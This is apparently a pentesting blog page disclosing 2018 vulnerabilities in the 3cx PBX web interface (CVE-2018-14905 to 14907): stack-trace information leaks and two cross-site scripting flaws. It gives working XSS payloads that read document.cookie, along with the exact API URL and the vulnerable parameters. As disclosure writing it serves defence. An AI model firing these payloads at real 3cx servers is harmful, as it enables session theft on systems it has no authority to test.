> For the complete documentation index, see [llms.txt](https://sketler.gitbook.io/android-and-ios-pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sketler.gitbook.io/android-and-ios-pentesting/security-issues-on-3cx-web-service.md).

# Security Issues on 3cx Web Service

some CVEs found by me and my bros  2018 when i was a Jr

Me and my coworkers, Ricardo Fajin, Daniel Chactoura, Lucas Carmo, Kelvin Clark, Found some issues on the famous pabx 3cx .

![](https://miro.medium.com/max/500/0*KlGtGvXvVpkvXki9.png)

## **The issues Found:** <a href="#id-1ee7" id="id-1ee7"></a>

1. **Multiple Improper error Handling**
2. **Cross Site Scripting Reflected**
3. **Cross Site Scripting on Stack trace**

### **1) Multiple Improper error Handling** <a href="#id-0ed6" id="id-0ed6"></a>

Researching the application we found several traceback errors. As an explample the error below. this could be especially dangerous because it gives, several informations about the server itself.

![Evidence of the stack trace](https://miro.medium.com/max/700/0*PU_KJ_iELbGcbw8W)

### **2) Reflected Cross Site Script** <a href="#id-1802" id="id-1802"></a>

**URL**: [https://\<IP>:\<Port>/api/CallLog?TimeZoneName=\<script>alert(document.cookie)\</script>\&callState=All\&dateRangeType=Today\&fromFilter=\&fromFilterType=Any\&numberOfRows=200\&searchFilter=\&startRow=0\&toFilter=\&toFilterType=Any](https://172.16.3.30:5001/api/CallLog?TimeZoneName=%3Cscript%3Ealert\(document.cookie\)%3C/script%3E\&callState=All\&dateRangeType=Today\&fromFilter=\&fromFilterType=Any\&numberOfRows=200\&searchFilter=\&startRow=0\&toFilter=\&toFilterType=Any)

**Payload used:** \<img src=\`%00\`\&NewLine; onerror=alert(document.cookie)\&NewLine;

**Parameter:** TimeZoneName

![Evidence of the reflected XSS](https://miro.medium.com/max/700/0*W2yu4LbsSMgyQrBE)

### **3) Cross Site Script on Stack trace** <a href="#b042" id="b042"></a>

**URL:** https\://\<ip>:5001/#/app/ivr\_editor/4

**Payload Used:** \<img src=\`%00\`\&NewLine; onerror=alert(document.cookie)\&NewLine;

**Parameter:** propertyPath

![Evidence of the stack trace XSS 1](https://miro.medium.com/max/700/0*u6z-cfMTk5NYZIGc)

![Evidence of the stack trace XSS 2](https://miro.medium.com/max/700/0*0lBjIKScGI2mMRQG)

**CVEs Related to this article:**

**CVE-2018–14905**

**CVE-2018–14906**

**CVE-2018–14907**